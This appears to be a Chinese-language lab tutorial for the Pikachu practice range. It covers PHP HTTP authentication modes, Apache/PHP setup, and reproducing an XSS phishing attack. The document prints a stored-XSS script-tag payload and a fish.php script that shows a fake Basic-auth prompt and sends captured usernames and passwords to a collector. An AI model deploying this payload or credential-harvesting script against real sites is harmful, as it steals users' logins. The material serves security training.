Pikachu靶场系列之XSS钓鱼攻击与PHP中的HTTP认证
字数 1449 2025-08-18 11:39:22

PHP HTTP认证与XSS钓鱼攻击教学文档

一、背景与问题描述

在Pikachu靶场中复现XSS钓鱼攻击时,遇到Basic认证后数据无法发送到后台的问题,表现为不断重复弹出认证提示框。

二、问题原因分析

1. 核心问题

PHP的HTTP认证机制仅在PHP以Apache模块方式运行时才有效,不适用于CGI版本。

2. 验证方法

通过var_dump($_SERVER)发现$_SERVER['PHP_AUTH_USER']$_SERVER['PHP_AUTH_PW']变量不存在。

3. 根本原因

phpStudy默认以CGI/FastCGI模式运行PHP,而HTTP认证需要Apache模块模式。

三、解决方案:重新部署环境

1. 安装Apache

  1. 下载Apache(需匹配VC版本)
  2. 修改httpd.conf中的Define SRVROOT为实际解压目录
  3. 以管理员身份安装服务:
    G:\Apache24\bin\httpd.exe -k install -n apache
    
  4. 启动Apache服务

2. 配置PHP

版本选择要点:

  • VC版本:必须与Apache一致(如VC15)
  • TS/NTS:选择TS(线程安全)版本
  • x86/x64:与Apache架构一致

配置步骤:

  1. 下载并解压PHP
  2. 修改httpd.conf添加:
    LoadModule php7_module G:/php/php7apache2_4.dll
    PHPIniDir G:/php
    AddType application/x-httpd-php .php
    
  3. 配置php.ini
    • 启用extension=mysqli
    • 设置extension_dir="G:/php/ext"

3. 验证安装

创建test.php

<?php phpinfo(); ?>

访问后确认Server API显示为Apache 2.0 Handler

四、PHP运行模式详解

1. CGI协议模式

  • 每次请求都fork新进程
  • 调用流程:
    1. 用户请求 → 2. Web服务器接收 → 3. fork子进程调用程序 → 4. 程序返回 → 5. 销毁进程 → 6. 返回用户

2. Fast-CGI协议模式

  • 常驻进程,无需频繁创建销毁
  • 调用流程:
    1. 预先fork n个进程 → 2. 用户请求 → 3. Web服务器接收 → 4. 交给空闲Fast-CGI进程 → 5. 处理完成等待下次请求

3. Apache模块模式

  • PHP作为Apache模块运行
  • 调用流程:
    1. Apache启动时加载PHP模块 → 2. 直接处理PHP请求 → 3. 返回结果

4. PHP-Cli模式

  • 命令行专用模式
  • 特点:
    • 无超时限制
    • 直接输出到控制台
    • 配置和可用函数与web模式不同

五、XSS钓鱼攻击复现

1. 环境准备

  1. 将Pikachu靶场放入htdocs
  2. 启动MySQL服务(可单独使用phpStudy的MySQL)

2. 攻击步骤

  1. 在存储型XSS页面插入恶意代码:
    <script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>
    
  2. 受害者访问页面时触发Basic认证
  3. 认证信息通过fish.php发送到攻击者后台

3. fish.php代码分析

<?php
error_reporting(0);

if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
    // 发送认证框
    header('Content-type:text/html;charset=utf-8');
    header("WWW-Authenticate: Basic realm='认证'");
    header('HTTP/1.0 401 Unauthorized');
    echo 'Authorization Required.';
    exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))) {
    // 发送信息到后台
    header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
    exit;
}
?>

六、关键知识点总结

  1. HTTP认证依赖关系:PHP的HTTP认证(PHP_AUTH_USER/PHP_AUTH_PW)仅工作在Apache模块模式

  2. 环境配置要点

    • Apache与PHP的VC版本必须一致
    • 模块模式需要TS版本的PHP
    • 架构(x86/x64)建议保持一致
  3. 钓鱼攻击原理

    • 通过XSS注入恶意脚本
    • 利用Basic认证获取凭据
    • 将凭据发送到攻击者服务器
  4. 调试技巧

    • 使用var_dump($_SERVER)查看服务器变量
    • 通过phpinfo()确认运行模式
  5. 安全防护

    • 输入过滤防止XSS
    • 重要操作使用CSRF Token
    • 对认证请求保持警惕
PHP HTTP认证与XSS钓鱼攻击教学文档 一、背景与问题描述 在Pikachu靶场中复现XSS钓鱼攻击时,遇到Basic认证后数据无法发送到后台的问题,表现为不断重复弹出认证提示框。 二、问题原因分析 1. 核心问题 PHP的HTTP认证机制仅在PHP以Apache模块方式运行时才有效,不适用于CGI版本。 2. 验证方法 通过 var_dump($_SERVER) 发现 $_SERVER['PHP_AUTH_USER'] 和 $_SERVER['PHP_AUTH_PW'] 变量不存在。 3. 根本原因 phpStudy默认以CGI/FastCGI模式运行PHP,而HTTP认证需要Apache模块模式。 三、解决方案:重新部署环境 1. 安装Apache 下载Apache(需匹配VC版本) 修改 httpd.conf 中的 Define SRVROOT 为实际解压目录 以管理员身份安装服务: 启动Apache服务 2. 配置PHP 版本选择要点: VC版本:必须与Apache一致(如VC15) TS/NTS:选择TS(线程安全)版本 x86/x64:与Apache架构一致 配置步骤: 下载并解压PHP 修改 httpd.conf 添加: 配置 php.ini : 启用 extension=mysqli 设置 extension_dir="G:/php/ext" 3. 验证安装 创建 test.php : 访问后确认 Server API 显示为 Apache 2.0 Handler 。 四、PHP运行模式详解 1. CGI协议模式 每次请求都fork新进程 调用流程: 用户请求 → 2. Web服务器接收 → 3. fork子进程调用程序 → 4. 程序返回 → 5. 销毁进程 → 6. 返回用户 2. Fast-CGI协议模式 常驻进程,无需频繁创建销毁 调用流程: 预先fork n个进程 → 2. 用户请求 → 3. Web服务器接收 → 4. 交给空闲Fast-CGI进程 → 5. 处理完成等待下次请求 3. Apache模块模式 PHP作为Apache模块运行 调用流程: Apache启动时加载PHP模块 → 2. 直接处理PHP请求 → 3. 返回结果 4. PHP-Cli模式 命令行专用模式 特点: 无超时限制 直接输出到控制台 配置和可用函数与web模式不同 五、XSS钓鱼攻击复现 1. 环境准备 将Pikachu靶场放入htdocs 启动MySQL服务(可单独使用phpStudy的MySQL) 2. 攻击步骤 在存储型XSS页面插入恶意代码: 受害者访问页面时触发Basic认证 认证信息通过 fish.php 发送到攻击者后台 3. fish.php代码分析 六、关键知识点总结 HTTP认证依赖关系 :PHP的HTTP认证( PHP_AUTH_USER / PHP_AUTH_PW )仅工作在Apache模块模式 环境配置要点 : Apache与PHP的VC版本必须一致 模块模式需要TS版本的PHP 架构(x86/x64)建议保持一致 钓鱼攻击原理 : 通过XSS注入恶意脚本 利用Basic认证获取凭据 将凭据发送到攻击者服务器 调试技巧 : 使用 var_dump($_SERVER) 查看服务器变量 通过 phpinfo() 确认运行模式 安全防护 : 输入过滤防止XSS 重要操作使用CSRF Token 对认证请求保持警惕